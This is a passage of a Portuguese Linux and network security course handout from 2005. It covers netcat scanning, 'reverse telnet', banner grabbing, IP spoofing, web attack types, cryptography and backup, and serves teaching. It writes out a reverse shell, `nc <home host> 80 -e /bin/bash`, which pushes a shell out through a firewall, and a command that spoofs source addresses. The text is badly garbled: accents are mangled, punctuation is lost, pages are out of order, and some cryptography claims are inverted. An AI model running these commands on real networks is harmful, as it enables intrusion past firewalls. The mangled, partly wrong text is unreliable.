ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 9: Curso de segurança em linux e redes em geral

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 9 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ocorrer uma infecccedilatildeo ou do lanccedilamento do novo arquivo de assinaturasMas os investigadores podem oferecer ldquofalsos positivosrdquo contudo este problema tem sidogradativamente reduzidoOs ldquoMonitores de Atividaderdquo observam as accedilotildees que estatildeo sendo executadas no computador equando ocorre uma accedilatildeo suspeita o monitor envia um alerta para o usuaacuterio pedindo que o mesmo aceiteou rejeite a execuccedilatildeo do coacutedigo o que pode gerar certo niacutevel de inconveniecircncia ao usuaacuterioOs ldquoVerificadores de Integridaderdquo guarda informaccedilotildees detalhadas sobre os arquivos docomputador e setores do sistema Isso permite que ele possa determinar quando satildeo feitas mudanccedilas eentatildeo emitir um alerta ao usuaacuterioOs softwares antiviacuterus podem ser executados em trecircs locais distintos1048576 No Desktop ndash protegendo localmente os dados mas pode ser facilmente desabilitado pelousuaacuterio1048576 Nos Servidores ndash garante maior niacutevel de seguranccedila para os dados da rede mas podemsobrecarregar a operaccedilatildeo do servidor1048576 Nos Gateways da Rede ndash evita a entrada e saiacuteda de softwares maliciosos da rede Pode gerarum atraso na comunicaccedilatildeo contudo seu uso eacute altamente recomendadoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 10 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20053) Problemas de Seguranccedila da WEBQuando a WEB era formada por paacuteginas estaacutetuas natildeo havia possibilidade de realizaccedilatildeo decomeacutercio mas mesmo assim jaacute era alvo de ataques de seguranccedila como por exemplo a ldquodesfiguraratildeordquo doarquivo ldquoindexhtlmrdquoApesar de simples este ataque pode gerar a perda de credibilidade da empresa e a reduccedilatildeo daconfianccedila do usuaacuterioOutro tipo de ataque que jaacute era comum nesta eacutepoca era a alteraccedilatildeo ilegal dos servidores de ldquoDNSrdquoque permitem que sites fossem trocadosOs ataques de DNS natildeo geravam a perda dos dados da paacutegina mas causavam os mesmos danos acredibilidade e confianccedilaDurante estes ataques normalmente os ldquohackersrdquo utilizam-se da teacutecnica de ldquocamuflagem de IPrdquo aqual permite ocultar o endereccedilo de uma outra pessoa durante o ataque

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

Estes sistemas podem ser baseados em dois tipos de algoritmos nos restritos e nos modernosAqueles que se baseiam nos algoritmos modernos podem ser simeacutetricos e assimeacutetricos Os sistemassimeacutetricos fazem uso de somente uma chave dai o seu nome jaacute os sistemas assimeacutetricos fazem uso deduas chaves a puacuteblica e a privada411) Algoritmos restritos1) O algoritmo eacute o segredo2) Natildeo eacute muito seguro3) Satildeo difiacuteceis de se desenvolver e distribuir enquanto continuam secretosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 15 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005412) EsteganografiaEsconder uma mensagem secreta em outra mensagem Exemplos1) Tinta invisiacutevel - mensagem publica usando ldquotinta normalrdquo e a secreta usando tinta ldquoinvisiacutevelrdquo2) Imagem graacutefica1) Incluir uma mensagem secreta dentro de uma ldquofigurardquo2) Ou em se cabeccedilalho de dados413) Cifras de substituiccedilatildeo1) Longo histoacuterico2) Substitui cada caraacuteter do texto puro para um outro siacutembolo na mensagem secreta3) As substituiccedilotildees podem ser arbitraacuterias ou podem ter um padratildeo determinado como umarotaccedilatildeo do alfabeto4) Satildeo faacuteceis de descobrir devido aos padrotildees de letra e frequumlecircncia em cada linguagemExemplo Taquigrafia Coacutedigo Morse American Standart Code For Informatran Interchange(ASCII)414) Cifras de Transposiccedilatildeo1) Mantem o coacutedigo puro intacto mas trocam ou misturam a ordem de alguma forma2) Uma versatildeo desta teacutecnica eacute a ldquoCifra de transposiccedilatildeo colunar simplesrdquoExemplo de funcionamento(1) Definiccedilatildeo da cifra originalTHIS IS A SIMPLE COLUMNAR TRANSPOSITION CIPHER(2) Definiccedilatildeo do formato da matrizFrase ndash 40 caracteresGrade ndash 8 colunas5 linhasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 16 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(3) Inserindo dados na gradeT H I S I S A SI M P L E C O L

U M N A R T R AN S P O S I T IO N C I P H E R(4) Reescrita da cifra = seguindo-se as colunas verticalmenteTIUNO HMMSN IPNPC SLAOIIERSP SCTIH AORTE SLAIRVersotildees mais sofisticadas usam padrotildees mais complexos como ziguezague pela gradeComo as palavras estatildeo mantendo a mesma frequumlecircncia esta teacutecnica eacute facilmente detectadae quebrada42) Teacutecnicas Modernas de Codificaccedilatildeo1) Usam algoritmos irrestritos e chaves para manter as informaccedilotildees seguras2) Superiores aos sistemas de algoritmo restrito3) Muitos possuem anos de resistecircncia agrave criptoanaacutelise intensa4) Muitas pessoas podem usar o mesmo algoritmo basta mudar a chave5) Quando a chave for comprometida basta gerar uma nova6) Duas teacutecnicas baacutesicas1) Criptografia simeacutetrica2) Criptografia assimeacutetrica ou criptografia puacuteblica7) Muitos sistemas usam ambas as teacutecnicas421 Criptografia Simeacutetrica1) Conhecido como codificaccedilatildeo de chave secreta2) Uma mesma chave utilizada para codificar e decodificar3) Desta forma a chave eacute o segredo4) Eacute muito utilizada em conexotildees seguras para realizar a troca das chaves temporaacuteriasProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 17 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Exemplo de algoritmos1) DES ndash Data Encyptron Standard2) Triple DES3) IDEA ndash International Data Encyption Algorithm4) Blowfish5) Rot 136) RCSEstes algoritmos podem ser de dois tipos1) Algoritmos de Fluxo ndash que trabalham com o texto um byte por vez2) Algoritmos de Bloco ndash trabalham sobre blocos de tamanha fixoOs sistemas simeacutetricos satildeo mais simples e mais raacutepidos do que aqueles de chave puacuteblica (1000 vezesmais raacutepido) mas possui a desvantagem de que dois usuaacuterios distintos tenham conhecimento do mesmosegredo (chave) Ambos os usuaacuterios satildeo responsaacuteveis pela seguranccedila da chave422 Criptografia para chave puacuteblica (assimeacutetrica)Foi criada em 1976 por dois matemaacuteticos de Stanford Whitfield Diffie e Martin Hellman Esta

resolve o problema do uso da chave secreta existente na criptografia simeacutetrica para tal faz uso de duaschaves (privada - cifra e puacuteblica- decifra) Estas duas chaves satildeo diferentes contudo possuem umrelacionamento matemaacutetico todavia natildeo eacute possiacutevel derivar a chave privada a partir da puacuteblica e vice-versaelas se baseiam em nuacutemeros primos fatoraccedilatildeo logaritmos e outras funccedilotildees matemaacuteticas Neste caso otamanho da chave eacute quem determina a eficiecircncia do processoO principal deste tipo de criptograma eacute o RSA criado por Ron L Rivert Adi Shamir e LeonardAdelman a seguranccedila deste algoritmo se baseia na dificuldade de se fatorar nuacutemeros extensos Segundopesquisadores para desvendar o sistema RSA Data Security usando uma chave de 760 bits seriamnecessaacuterios 4300 computadores e 50 anosO uso destas chaves permite o estabelecimento da conexatildeo segura entre duas entidades sem opreacutevio conhecimento das chaves Visto que quando uma entidade ldquoXrdquo precisa enviar uma mensagem paraldquoYrdquo ela usa a chave puacuteblica de ldquoYrdquo para cifrar a mensagem e somente a entidade ldquoYrdquo seraacute capaz dedecifrar a mensagem pois ldquosomenterdquo ela conhece a sua chave privadaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 18 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente 